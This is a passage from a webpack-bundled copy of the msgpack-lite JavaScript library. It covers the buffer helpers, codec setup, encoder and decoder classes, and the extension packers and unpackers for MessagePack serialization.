                    } else if (typeof value === "number") {
                        throw new TypeError('"value" argument must not be a number');
                    }

                    // Array-like to Buffer
                    if (Buffer.from && Buffer.from.length !== 1) {
                        return Buffer.from(value); // node v6+
                    } else {
                        return new Buffer(value); // node v4
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish-proto.js":
            /*!**********************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/bufferish-proto.js ***!
  \**********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish-proto.js

                /* jshint eqnull:true */

                var BufferLite = __webpack_require__(/*! ./buffer-lite */ "./node_modules/msgpack-lite/lib/buffer-lite.js");

                exports.copy = copy;
                exports.slice = slice;
                exports.toString = toString;
                exports.write = gen("write");

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;

                var isBufferShim = Bufferish.hasBuffer && ("TYPED_ARRAY_SUPPORT" in Buffer);
                var brokenTypedArray = isBufferShim && !Buffer.TYPED_ARRAY_SUPPORT;

                /**
 * @param target {Buffer|Uint8Array|Array}
 * @param [targetStart] {Number}
 * @param [start] {Number}
 * @param [end] {Number}
 * @returns {Buffer|Uint8Array|Array}
 */

                function copy(target, targetStart, start, end) {
                    var thisIsBuffer = Bufferish.isBuffer(this);
                    var targetIsBuffer = Bufferish.isBuffer(target);
                    if (thisIsBuffer && targetIsBuffer) {
                        // Buffer to Buffer
                        return this.copy(target, targetStart, start, end);
                    } else if (!brokenTypedArray && !thisIsBuffer && !targetIsBuffer &&
                               Bufferish.isView(this) && Bufferish.isView(target)) {
                        // Uint8Array to Uint8Array (except for minor some browsers)
                        var buffer = (start || end != null) ? slice.call(this, start, end) : this;
                        target.set(buffer, targetStart);
                        return buffer.length;
                    } else {
                        // other cases
                        return BufferLite.copy.call(this, target, targetStart, start, end);
                    }
                }

                /**
 * @param [start] {Number}
 * @param [end] {Number}
 * @returns {Buffer|Uint8Array|Array}
 */

                function slice(start, end) {
                    // for Buffer, Uint8Array (except for minor some browsers) and Array
                    var f = this.slice || (!brokenTypedArray && this.subarray);
                    if (f) return f.call(this, start, end);

                    // Uint8Array (for minor some browsers)
                    var target = Bufferish.alloc.call(this, end - start);
                    copy.call(this, target, 0, start, end);
                    return target;
                }

                /**
 * Buffer.prototype.toString()
 *
 * @param [encoding] {String} ignored
 * @param [start] {Number}
 * @param [end] {Number}
 * @returns {String}
 */

                function toString(encoding, start, end) {
                    var f = (!isBufferShim && Bufferish.isBuffer(this)) ? this.toString : BufferLite.toString;
                    return f.apply(this, arguments);
                }

                /**
 * @private
 */

                function gen(method) {
                    return wrap;

                    function wrap() {
                        var f = this[method] || BufferLite[method];
                        return f.apply(this, arguments);
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish-uint8array.js":
            /*!***************************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/bufferish-uint8array.js ***!
  \***************************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish-uint8array.js

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                var exports = module.exports = Bufferish.hasArrayBuffer ? alloc(0) : [];

                exports.alloc = alloc;
                exports.concat = Bufferish.concat;
                exports.from = from;

                /**
 * @param size {Number}
 * @returns {Buffer|Uint8Array|Array}
 */

                function alloc(size) {
                    return new Uint8Array(size);
                }

                /**
 * @param value {Array|ArrayBuffer|Buffer|String}
 * @returns {Uint8Array}
 */

                function from(value) {
                    if (Bufferish.isView(value)) {
                        // TypedArray to ArrayBuffer
                        var byteOffset = value.byteOffset;
                        var byteLength = value.byteLength;
                        value = value.buffer;
                        if (value.byteLength !== byteLength) {
                            if (value.slice) {
                                value = value.slice(byteOffset, byteOffset + byteLength);
                            } else {
                                // Android 4.1 does not have ArrayBuffer.prototype.slice
                                value = new Uint8Array(value);
                                if (value.byteLength !== byteLength) {
                                    // TypedArray to ArrayBuffer to Uint8Array to Array
                                    value = Array.prototype.slice.call(value, byteOffset, byteOffset + byteLength);
                                }
                            }
                        }
                    } else if (typeof value === "string") {
                        // String to Uint8Array
                        return Bufferish.from.call(exports, value);
                    } else if (typeof value === "number") {
                        throw new TypeError('"value" argument must not be a number');
                    }

                    return new Uint8Array(value);
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish.js":
            /*!****************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/bufferish.js ***!
  \****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish.js

                var Buffer = exports.global = __webpack_require__(/*! ./buffer-global */ "./node_modules/msgpack-lite/lib/buffer-global.js");
                var hasBuffer = exports.hasBuffer = Buffer && !!Buffer.isBuffer;
                var hasArrayBuffer = exports.hasArrayBuffer = ("undefined" !== typeof ArrayBuffer);

                var isArray = exports.isArray = __webpack_require__(/*! isarray */ "./node_modules/msgpack-lite/node_modules/isarray/index.js");
                exports.isArrayBuffer = hasArrayBuffer ? isArrayBuffer : _false;
                var isBuffer = exports.isBuffer = hasBuffer ? Buffer.isBuffer : _false;
                var isView = exports.isView = hasArrayBuffer ? (ArrayBuffer.isView || _is("ArrayBuffer", "buffer")) : _false;

                exports.alloc = alloc;
                exports.concat = concat;
                exports.from = from;

                var BufferArray = exports.Array = __webpack_require__(/*! ./bufferish-array */ "./node_modules/msgpack-lite/lib/bufferish-array.js");
                var BufferBuffer = exports.Buffer = __webpack_require__(/*! ./bufferish-buffer */ "./node_modules/msgpack-lite/lib/bufferish-buffer.js");
                var BufferUint8Array = exports.Uint8Array = __webpack_require__(/*! ./bufferish-uint8array */ "./node_modules/msgpack-lite/lib/bufferish-uint8array.js");
                var BufferProto = exports.prototype = __webpack_require__(/*! ./bufferish-proto */ "./node_modules/msgpack-lite/lib/bufferish-proto.js");

                /**
 * @param value {Array|ArrayBuffer|Buffer|String}
 * @returns {Buffer|Uint8Array|Array}
 */

                function from(value) {
                    if (typeof value === "string") {
                        return fromString.call(this, value);
                    } else {
                        return auto(this).from(value);
                    }
                }

                /**
 * @param size {Number}
 * @returns {Buffer|Uint8Array|Array}
 */

                function alloc(size) {
                    return auto(this).alloc(size);
                }

                /**
 * @param list {Array} array of (Buffer|Uint8Array|Array)s
 * @param [length]
 * @returns {Buffer|Uint8Array|Array}
 */

                function concat(list, length) {
                    if (!length) {
                        length = 0;
                        Array.prototype.forEach.call(list, dryrun);
                    }
                    var ref = (this !== exports) && this || list[0];
                    var result = alloc.call(ref, length);
                    var offset = 0;
                    Array.prototype.forEach.call(list, append);
                    return result;

                    function dryrun(buffer) {
                        length += buffer.length;
                    }

                    function append(buffer) {
                        offset += BufferProto.copy.call(buffer, result, offset);
                    }
                }

                var _isArrayBuffer = _is("ArrayBuffer");

                function isArrayBuffer(value) {
                    return (value instanceof ArrayBuffer) || _isArrayBuffer(value);
                }

                /**
 * @private
 */

                function fromString(value) {
                    var expected = value.length * 3;
                    var that = alloc.call(this, expected);
                    var actual = BufferProto.write.call(that, value);
                    if (expected !== actual) {
                        that = BufferProto.slice.call(that, 0, actual);
                    }
                    return that;
                }

                function auto(that) {
                    return isBuffer(that) ? BufferBuffer
                    : isView(that) ? BufferUint8Array
                    : isArray(that) ? BufferArray
                    : hasBuffer ? BufferBuffer
                    : hasArrayBuffer ? BufferUint8Array
                    : BufferArray;
                }

                function _false() {
                    return false;
                }

                function _is(name, key) {
                    /* jshint eqnull:true */
                    name = "[object " + name + "]";
                    return function(value) {
                        return (value != null) && {}.toString.call(key ? value[key] : value) === name;
                    };
                }

                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/codec-base.js":
            /*!*****************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/codec-base.js ***!
  \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // codec-base.js

                var IS_ARRAY = __webpack_require__(/*! isarray */ "./node_modules/msgpack-lite/node_modules/isarray/index.js");

                exports.createCodec = createCodec;
                exports.install = install;
                exports.filter = filter;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                function Codec(options) {
                    if (!(this instanceof Codec)) return new Codec(options);
                    this.options = options;
                    this.init();
                }

                Codec.prototype.init = function() {
                    var options = this.options;

                    if (options && options.uint8array) {
                        this.bufferish = Bufferish.Uint8Array;
                    }

                    return this;
                };

                function install(props) {
                    for (var key in props) {
                        Codec.prototype[key] = add(Codec.prototype[key], props[key]);
                    }
                }

                function add(a, b) {
                    return (a && b) ? ab : (a || b);

                    function ab() {
                        a.apply(this, arguments);
                        return b.apply(this, arguments);
                    }
                }

                function join(filters) {
                    filters = filters.slice();

                    return function(value) {
                        return filters.reduce(iterator, value);
                    };

                    function iterator(value, filter) {
                        return filter(value);
                    }
                }

                function filter(filter) {
                    return IS_ARRAY(filter) ? join(filter) : filter;
                }

                // @public
                // msgpack.createCodec()

                function createCodec(options) {
                    return new Codec(options);
                }

                // default shared codec

                exports.preset = createCodec({preset: true});


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/codec.js":
            /*!************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/codec.js ***!
  \************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // codec.js

                // load both interfaces
                __webpack_require__(/*! ./read-core */ "./node_modules/msgpack-lite/lib/read-core.js");
                __webpack_require__(/*! ./write-core */ "./node_modules/msgpack-lite/lib/write-core.js");

                // @public
                // msgpack.codec.preset

                exports.codec = {
                    preset: __webpack_require__(/*! ./codec-base */ "./node_modules/msgpack-lite/lib/codec-base.js").preset
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/decode-buffer.js":
            /*!********************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/decode-buffer.js ***!
  \********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // decode-buffer.js

                exports.DecodeBuffer = DecodeBuffer;

                var preset = __webpack_require__(/*! ./read-core */ "./node_modules/msgpack-lite/lib/read-core.js").preset;

                var FlexDecoder = __webpack_require__(/*! ./flex-buffer */ "./node_modules/msgpack-lite/lib/flex-buffer.js").FlexDecoder;

                FlexDecoder.mixin(DecodeBuffer.prototype);

                function DecodeBuffer(options) {
                    if (!(this instanceof DecodeBuffer)) return new DecodeBuffer(options);

                    if (options) {
                        this.options = options;
                        if (options.codec) {
                            var codec = this.codec = options.codec;
                            if (codec.bufferish) this.bufferish = codec.bufferish;
                        }
                    }
                }

                DecodeBuffer.prototype.codec = preset;

                DecodeBuffer.prototype.fetch = function() {
                    return this.codec.decode(this);
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/decode.js":
            /*!*************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/decode.js ***!
  \*************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // decode.js

                exports.decode = decode;

                var DecodeBuffer = __webpack_require__(/*! ./decode-buffer */ "./node_modules/msgpack-lite/lib/decode-buffer.js").DecodeBuffer;

                function decode(input, options) {
                    var decoder = new DecodeBuffer(options);
                    decoder.write(input);
                    return decoder.read();
                }

                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/decoder.js":
            /*!**************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/decoder.js ***!
  \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // decoder.js

                exports.Decoder = Decoder;

                var EventLite = __webpack_require__(/*! event-lite */ "./node_modules/event-lite/event-lite.js");
                var DecodeBuffer = __webpack_require__(/*! ./decode-buffer */ "./node_modules/msgpack-lite/lib/decode-buffer.js").DecodeBuffer;

                function Decoder(options) {
                    if (!(this instanceof Decoder)) return new Decoder(options);
                    DecodeBuffer.call(this, options);
                }

                Decoder.prototype = new DecodeBuffer();

                EventLite.mixin(Decoder.prototype);

                Decoder.prototype.decode = function(chunk) {
                    if (arguments.length) this.write(chunk);
                    this.flush();
                };

                Decoder.prototype.push = function(chunk) {
                    this.emit("data", chunk);
                };

                Decoder.prototype.end = function(chunk) {
                    this.decode(chunk);
                    this.emit("end");
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/encode-buffer.js":
            /*!********************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/encode-buffer.js ***!
  \********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // encode-buffer.js

                exports.EncodeBuffer = EncodeBuffer;

                var preset = __webpack_require__(/*! ./write-core */ "./node_modules/msgpack-lite/lib/write-core.js").preset;

                var FlexEncoder = __webpack_require__(/*! ./flex-buffer */ "./node_modules/msgpack-lite/lib/flex-buffer.js").FlexEncoder;

                FlexEncoder.mixin(EncodeBuffer.prototype);

                function EncodeBuffer(options) {
                    if (!(this instanceof EncodeBuffer)) return new EncodeBuffer(options);

                    if (options) {
                        this.options = options;
                        if (options.codec) {
                            var codec = this.codec = options.codec;
                            if (codec.bufferish) this.bufferish = codec.bufferish;
                        }
                    }
                }

                EncodeBuffer.prototype.codec = preset;

                EncodeBuffer.prototype.write = function(input) {
                    this.codec.encode(this, input);
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/encode.js":
            /*!*************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/encode.js ***!
  \*************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // encode.js

                exports.encode = encode;

                var EncodeBuffer = __webpack_require__(/*! ./encode-buffer */ "./node_modules/msgpack-lite/lib/encode-buffer.js").EncodeBuffer;

                function encode(input, options) {
                    var encoder = new EncodeBuffer(options);
                    encoder.write(input);
                    return encoder.read();
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/encoder.js":
            /*!**************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/encoder.js ***!
  \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // encoder.js

                exports.Encoder = Encoder;

                var EventLite = __webpack_require__(/*! event-lite */ "./node_modules/event-lite/event-lite.js");
                var EncodeBuffer = __webpack_require__(/*! ./encode-buffer */ "./node_modules/msgpack-lite/lib/encode-buffer.js").EncodeBuffer;

                function Encoder(options) {
                    if (!(this instanceof Encoder)) return new Encoder(options);
                    EncodeBuffer.call(this, options);
                }

                Encoder.prototype = new EncodeBuffer();

                EventLite.mixin(Encoder.prototype);

                Encoder.prototype.encode = function(chunk) {
                    this.write(chunk);
                    this.emit("data", this.read());
                };

                Encoder.prototype.end = function(chunk) {
                    if (arguments.length) this.encode(chunk);
                    this.flush();
                    this.emit("end");
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/ext-buffer.js":
            /*!*****************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/ext-buffer.js ***!
  \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // ext-buffer.js

                exports.ExtBuffer = ExtBuffer;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                function ExtBuffer(buffer, type) {
                    if (!(this instanceof ExtBuffer)) return new ExtBuffer(buffer, type);
                    this.buffer = Bufferish.from(buffer);
                    this.type = type;
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/ext-packer.js":
            /*!*****************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/ext-packer.js ***!
  \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // ext-packer.js

                exports.setExtPackers = setExtPackers;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;
                var packTypedArray = Bufferish.Uint8Array.from;
                var _encode;

                var ERROR_COLUMNS = {name: 1, message: 1, stack: 1, columnNumber: 1, fileName: 1, lineNumber: 1};

                function setExtPackers(codec) {
                    codec.addExtPacker(0x0E, Error, [packError, encode]);
                    codec.addExtPacker(0x01, EvalError, [packError, encode]);
                    codec.addExtPacker(0x02, RangeError, [packError, encode]);
                    codec.addExtPacker(0x03, ReferenceError, [packError, encode]);
                    codec.addExtPacker(0x04, SyntaxError, [packError, encode]);
                    codec.addExtPacker(0x05, TypeError, [packError, encode]);
                    codec.addExtPacker(0x06, URIError, [packError, encode]);

                    codec.addExtPacker(0x0A, RegExp, [packRegExp, encode]);
                    codec.addExtPacker(0x0B, Boolean, [packValueOf, encode]);
                    codec.addExtPacker(0x0C, String, [packValueOf, encode]);
                    codec.addExtPacker(0x0D, Date, [Number, encode]);
                    codec.addExtPacker(0x0F, Number, [packValueOf, encode]);

                    if ("undefined" !== typeof Uint8Array) {
                        codec.addExtPacker(0x11, Int8Array, packTypedArray);
                        codec.addExtPacker(0x12, Uint8Array, packTypedArray);
                        codec.addExtPacker(0x13, Int16Array, packTypedArray);
                        codec.addExtPacker(0x14, Uint16Array, packTypedArray);
                        codec.addExtPacker(0x15, Int32Array, packTypedArray);
                        codec.addExtPacker(0x16, Uint32Array, packTypedArray);
                        codec.addExtPacker(0x17, Float32Array, packTypedArray);

                        // PhantomJS/1.9.7 doesn't have Float64Array
                        if ("undefined" !== typeof Float64Array) {
                            codec.addExtPacker(0x18, Float64Array, packTypedArray);
                        }

                        // IE10 doesn't have Uint8ClampedArray
                        if ("undefined" !== typeof Uint8ClampedArray) {
                            codec.addExtPacker(0x19, Uint8ClampedArray, packTypedArray);
                        }

                        codec.addExtPacker(0x1A, ArrayBuffer, packTypedArray);
                        codec.addExtPacker(0x1D, DataView, packTypedArray);
                    }

                    if (Bufferish.hasBuffer) {
                        codec.addExtPacker(0x1B, Buffer, Bufferish.from);
                    }
                }

                function encode(input) {
                    if (!_encode) _encode = __webpack_require__(/*! ./encode */ "./node_modules/msgpack-lite/lib/encode.js").encode; // lazy load
                    return _encode(input);
                }

                function packValueOf(value) {
                    return (value).valueOf();
                }

                function packRegExp(value) {
                    value = RegExp.prototype.toString.call(value).split("/");
                    value.shift();
                    var out = [value.pop()];
                    out.unshift(value.join("/"));
                    return out;
                }

                function packError(value) {
                    var out = {};
                    for (var key in ERROR_COLUMNS) {
                        out[key] = value[key];
                    }
                    return out;
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/ext-unpacker.js":
            /*!*******************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/ext-unpacker.js ***!
  \*******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // ext-unpacker.js

                exports.setExtUnpackers = setExtUnpackers;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;
                var _decode;

                var ERROR_COLUMNS = {name: 1, message: 1, stack: 1, columnNumber: 1, fileName: 1, lineNumber: 1};

                function setExtUnpackers(codec) {
                    codec.addExtUnpacker(0x0E, [decode, unpackError(Error)]);
                    codec.addExtUnpacker(0x01, [decode, unpackError(EvalError)]);
                    codec.addExtUnpacker(0x02, [decode, unpackError(RangeError)]);
                    codec.addExtUnpacker(0x03, [decode, unpackError(ReferenceError)]);
                    codec.addExtUnpacker(0x04, [decode, unpackError(SyntaxError)]);
                    codec.addExtUnpacker(0x05, [decode, unpackError(TypeError)]);
                    codec.addExtUnpacker(0x06, [decode, unpackError(URIError)]);

                    codec.addExtUnpacker(0x0A, [decode, unpackRegExp]);
                    codec.addExtUnpacker(0x0B, [decode, unpackClass(Boolean)]);
                    codec.addExtUnpacker(0x0C, [decode, unpackClass(String)]);
                    codec.addExtUnpacker(0x0D, [decode, unpackClass(Date)]);
                    codec.addExtUnpacker(0x0F, [decode, unpackClass(Number)]);

                    if ("undefined" !== typeof Uint8Array) {
                        codec.addExtUnpacker(0x11, unpackClass(Int8Array));
                        codec.addExtUnpacker(0x12, unpackClass(Uint8Array));
                        codec.addExtUnpacker(0x13, [unpackArrayBuffer, unpackClass(Int16Array)]);
                        codec.addExtUnpacker(0x14, [unpackArrayBuffer, unpackClass(Uint16Array)]);
                        codec.addExtUnpacker(0x15, [unpackArrayBuffer, unpackClass(Int32Array)]);
                        codec.addExtUnpacker(0x16, [unpackArrayBuffer, unpackClass(Uint32Array)]);
                        codec.addExtUnpacker(0x17, [unpackArrayBuffer, unpackClass(Float32Array)]);

                        // PhantomJS/1.9.7 doesn't have Float64Array
                        if ("undefined" !== typeof Float64Array) {
                            codec.addExtUnpacker(0x18, [unpackArrayBuffer, unpackClass(Float64Array)]);
                        }

                        // IE10 doesn't have Uint8ClampedArray
                        if ("undefined" !== typeof Uint8ClampedArray) {
                            codec.addExtUnpacker(0x19, unpackClass(Uint8ClampedArray));
                        }

                        codec.addExtUnpacker(0x1A, unpackArrayBuffer);
                        codec.addExtUnpacker(0x1D, [unpackArrayBuffer, unpackClass(DataView)]);
                    }

                    if (Bufferish.hasBuffer) {
                        codec.addExtUnpacker(0x1B, unpackClass(Buffer));
                    }
                }

                function decode(input) {
                    if (!_decode) _decode = __webpack_require__(/*! ./decode */ "./node_modules/msgpack-lite/lib/decode.js").decode; // lazy load
                    return _decode(input);
                }

                function unpackRegExp(value) {
                    return RegExp.apply(null, value);
                }

                function unpackError(Class) {
                    return function(value) {
                        var out = new Class();
                        for (var key in ERROR_COLUMNS) {
                            out[key] = value[key];
                        }
                        return out;
                    };
                }

                function unpackClass(Class) {
                    return function(value) {
                        return new Class(value);
                    };
                }

                function unpackArrayBuffer(value) {
                    return (new Uint8Array(value)).buffer;
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/ext.js":
            /*!**********************************************!*\
  !*** ./node_modules/msgpack-lite/lib/ext.js ***!
  \**********************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // ext.js

                // load both interfaces
                __webpack_require__(/*! ./read-core */ "./node_modules/msgpack-lite/lib/read-core.js");
                __webpack_require__(/*! ./write-core */ "./node_modules/msgpack-lite/lib/write-core.js");

                exports.createCodec = __webpack_require__(/*! ./codec-base */ "./node_modules/msgpack-lite/lib/codec-base.js").createCodec;


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/flex-buffer.js":
            /*!******************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/flex-buffer.js ***!
  \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // flex-buffer.js

                exports.FlexDecoder = FlexDecoder;
                exports.FlexEncoder = FlexEncoder;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                var MIN_BUFFER_SIZE = 2048;
                var MAX_BUFFER_SIZE = 65536;
                var BUFFER_SHORTAGE = "BUFFER_SHORTAGE";

                function FlexDecoder() {
                    if (!(this instanceof FlexDecoder)) return new FlexDecoder();
                }

                function FlexEncoder() {
                    if (!(this instanceof FlexEncoder)) return new FlexEncoder();
                }

                FlexDecoder.mixin = mixinFactory(getDecoderMethods());
                FlexDecoder.mixin(FlexDecoder.prototype);

                FlexEncoder.mixin = mixinFactory(getEncoderMethods());
                FlexEncoder.mixin(FlexEncoder.prototype);

                function getDecoderMethods() {
                    return {
                        bufferish: Bufferish,
                        write: write,
                        fetch: fetch,
                        flush: flush,
                        push: push,
                        pull: pull,
                        read: read,
                        reserve: reserve,
                        offset: 0
                    };

                    function write(chunk) {
                        var prev = this.offset ? Bufferish.prototype.slice.call(this.buffer, this.offset) : this.buffer;
                        this.buffer = prev ? (chunk ? this.bufferish.concat([prev, chunk]) : prev) : chunk;
                        this.offset = 0;
                    }

                    function flush() {
                        while (this.offset < this.buffer.length) {
                            var start = this.offset;
                            var value;
                            try {
                                value = this.fetch();
                            } catch (e) {
                                if (e && e.message != BUFFER_SHORTAGE) throw e;
                                // rollback
                                this.offset = start;
                                break;
                            }
                            this.push(value);
                        }
                    }

                    function reserve(length) {
                        var start = this.offset;
                        var end = start + length;
                        if (end > this.buffer.length) throw new Error(BUFFER_SHORTAGE);
                        this.offset = end;
                        return start;
                    }
                }

                function getEncoderMethods() {
                    return {
                        bufferish: Bufferish,
                        write: write,
                        fetch: fetch,
                        flush: flush,
                        push: push,
                        pull: pull,
                        read: read,
                        reserve: reserve,
                        send: send,
                        maxBufferSize: MAX_BUFFER_SIZE,
                        minBufferSize: MIN_BUFFER_SIZE,
                        offset: 0,
                        start: 0
                    };

                    function fetch() {
                        var start = this.start;
                        if (start < this.offset) {
                            var end = this.start = this.offset;
                            return Bufferish.prototype.slice.call(this.buffer, start, end);
                        }
                    }

                    function flush() {
                        while (this.start < this.offset) {
                            var value = this.fetch();
                            if (value) this.push(value);
                        }
                    }

                    function pull() {
                        var buffers = this.buffers || (this.buffers = []);
                        var chunk = buffers.length > 1 ? this.bufferish.concat(buffers) : buffers[0];
                        buffers.length = 0; // buffer exhausted
                        return chunk;
                    }

                    function reserve(length) {
                        var req = length | 0;

                        if (this.buffer) {
                            var size = this.buffer.length;
                            var start = this.offset | 0;
                            var end = start + req;

                            // is it long enough?
                            if (end < size) {
                                this.offset = end;
                                return start;
                            }

                            // flush current buffer
                            this.flush();

                            // resize it to 2x current length
                            length = Math.max(length, Math.min(size * 2, this.maxBufferSize));
                        }

                        // minimum buffer size
                        length = Math.max(length, this.minBufferSize);

                        // allocate new buffer
                        this.buffer = this.bufferish.alloc(length);
                        this.start = 0;
                        this.offset = req;
                        return 0;
                    }

                    function send(buffer) {
                        var length = buffer.length;
                        if (length > this.minBufferSize) {
                            this.flush();
                            this.push(buffer);
                        } else {
                            var offset = this.reserve(length);
                            Bufferish.prototype.copy.call(buffer, this.buffer, offset);
                        }
                    }
                }

                // common methods

                function write() {
                    throw new Error("method not implemented: write()");
                }

                function fetch() {
                    throw new Error("method not implemented: fetch()");
                }

                function read() {
                    var length = this.buffers && this.buffers.length;

                    // fetch the first result
                    if (!length) return this.fetch();

                    // flush current buffer
                    this.flush();

                    // read from the results
                    return this.pull();
                }

                function push(chunk) {
                    var buffers = this.buffers || (this.buffers = []);
                    buffers.push(chunk);
                }

                function pull() {
                    var buffers = this.buffers || (this.buffers = []);
                    return buffers.shift();
                }

                function mixinFactory(source) {
                    return mixin;

                    function mixin(target) {
                        for (var key in source) {
                            target[key] = source[key];
                        }
                        return target;
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/read-core.js":
            /*!****************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/read-core.js ***!
  \****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // read-core.js

                var ExtBuffer = __webpack_require__(/*! ./ext-buffer */ "./node_modules/msgpack-lite/lib/ext-buffer.js").ExtBuffer;
                var ExtUnpacker = __webpack_require__(/*! ./ext-unpacker */ "./node_modules/msgpack-lite/lib/ext-unpacker.js");
                var readUint8 = __webpack_require__(/*! ./read-format */ "./node_modules/msgpack-lite/lib/read-format.js").readUint8;
                var ReadToken = __webpack_require__(/*! ./read-token */ "./node_modules/msgpack-lite/lib/read-token.js");
                var CodecBase = __webpack_require__(/*! ./codec-base */ "./node_modules/msgpack-lite/lib/codec-base.js");

                CodecBase.install({
                    addExtUnpacker: addExtUnpacker,
                    getExtUnpacker: getExtUnpacker,
                    init: init
                });

                exports.preset = init.call(CodecBase.preset);

                function getDecoder(options) {
                    var readToken = ReadToken.getReadToken(options);
                    return decode;

                    function decode(decoder) {
                        var type = readUint8(decoder);
                        var func = readToken[type];
                        if (!func) throw new Error("Invalid type: " + (type ? ("0x" + type.toString(16)) : type));
                        return func(decoder);
                    }
                }

                function init() {
                    var options = this.options;
                    this.decode = getDecoder(options);

                    if (options && options.preset) {
                        ExtUnpacker.setExtUnpackers(this);
                    }

                    return this;
                }

                function addExtUnpacker(etype, unpacker) {
                    var unpackers = this.extUnpackers || (this.extUnpackers = []);
                    unpackers[etype] = CodecBase.filter(unpacker);
                }

                function getExtUnpacker(type) {
                    var unpackers = this.extUnpackers || (this.extUnpackers = []);
                    return unpackers[type] || extUnpacker;

                    function extUnpacker(buffer) {
                        return new ExtBuffer(buffer, type);
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/read-format.js":
            /*!******************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/read-format.js ***!
  \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // read-format.js

                var ieee754 = __webpack_require__(/*! ieee754 */ "./node_modules/ieee754/index.js");
                var Int64Buffer = __webpack_require__(/*! int64-buffer */ "./node_modules/int64-buffer/int64-buffer.js");
                var Uint64BE = Int64Buffer.Uint64BE;
                var Int64BE = Int64Buffer.Int64BE;

                exports.getReadFormat = getReadFormat;
                exports.readUint8 = uint8;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var BufferProto = __webpack_require__(/*! ./bufferish-proto */ "./node_modules/msgpack-lite/lib/bufferish-proto.js");

                var HAS_MAP = ("undefined" !== typeof Map);
                var NO_ASSERT = true;

                function getReadFormat(options) {
                    var binarraybuffer = Bufferish.hasArrayBuffer && options && options.binarraybuffer;
                    var int64 = options && options.int64;
                    var usemap = HAS_MAP && options && options.usemap;

                    var readFormat = {
                        map: (usemap ? map_to_map : map_to_obj),
                        array: array,
                        str: str,
                        bin: (binarraybuffer ? bin_arraybuffer : bin_buffer),
                        ext: ext,
                        uint8: uint8,
                        uint16: uint16,
                        uint32: uint32,
                        uint64: read(8, int64 ? readUInt64BE_int64 : readUInt64BE),
                        int8: int8,
                        int16: int16,
                        int32: int32,
                        int64: read(8, int64 ? readInt64BE_int64 : readInt64BE),
                        float32: read(4, readFloatBE),
                        float64: read(8, readDoubleBE)
                    };

                    return readFormat;
                }

                function map_to_obj(decoder, len) {
